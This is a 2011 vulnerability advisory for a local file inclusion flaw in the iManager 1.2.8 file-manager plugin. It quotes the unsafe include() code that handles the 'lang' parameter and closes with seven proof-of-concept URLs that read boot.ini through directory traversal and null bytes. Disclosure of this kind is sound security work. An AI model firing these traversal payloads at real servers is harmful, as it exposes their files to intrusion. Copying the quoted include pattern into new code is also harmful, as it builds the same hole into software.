iManager Plugin 1.2.8 Local File Inclusion

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iManager Plugin v1.2.8 (lang) Local File Inclusion Vulnerability  
  
  
Vendor: net4visions.com  
Product web page: http://www.net4visions.com  
Affected version: <= 1.2.8 Build 02012008  
  
Summary: With iManager you can manage your files/images on your webserver,  
and it provides user interface to most of the phpThumb() functions. It works  
either stand-alone or as a plugin to WYSIWYG editors like tinyMCE, SPAW,  
htmlAREA, Xinha and FCKeditor.  
  
Desc: iManager suffers from a file inlcusion vulnerability (LFI) / file  
disclosure vulnerability (FD) when input passed thru the 'lang' parameter  
to imanager.php, rfiles.php, symbols.php, colorpicker.php, loadmsg.php,  
ov_rfiles.php and examples.php is not properly verified before being used  
to include files. This can be exploited to include files from local resources  
with directory traversal attacks and URL encoded NULL bytes.  
  
  
======================================================================  
/langs/lang.class.php:  
----------------------------------------------------------------------  
  
67: function loadData() {  
68: global $cfg;  
69: include( dirname(__FILE__) . '/' . $this -> lang.'.php' );  
70: $this -> charset = $lang_charset;  
71: $this -> dir = $lang_direction;  
72: $this -> lang_data = $lang_data;  
73: unset( $lang_data );  
74: include( dirname(__FILE__) . '/' . $cfg['lang'].'.php' );  
75: $this -> default_lang_data = $lang_data;  
76: }  
  
======================================================================  
  
  
Tested on: Microsoft Windows XP Professional SP3 (EN)  
Apache 2.2.14 (Win32)  
PHP 5.3.1  
MySQL 5.1.41  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
liquidworm gmail com  
  
  
Advisory ID: ZSL-2011-5042  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5042.php  
  
  
15.09.2011  
  
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http://[SOME_CMS]/jscripts/tiny_mce/plugins/imanager/imanager.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00  
http://[SOME_CMS]/jscripts/tiny_mce/plugins/imanager/scripts/colorpicker.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00  
http://[SOME_CMS]/jscripts/tiny_mce/plugins/imanager/scripts/loadmsg.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00  
http://[SOME_CMS]/jscripts/tiny_mce/plugins/imanager/scripts/ov_rfiles.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00  
http://[SOME_CMS]/jscripts/tiny_mce/plugins/imanager/scripts/rfiles.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00  
http://[SOME_CMS]/jscripts/tiny_mce/plugins/imanager/scripts/symbols.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00  
http://[SOME_CMS]/jscripts/tiny_mce/plugins/imanager/images/examples/examples.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00  
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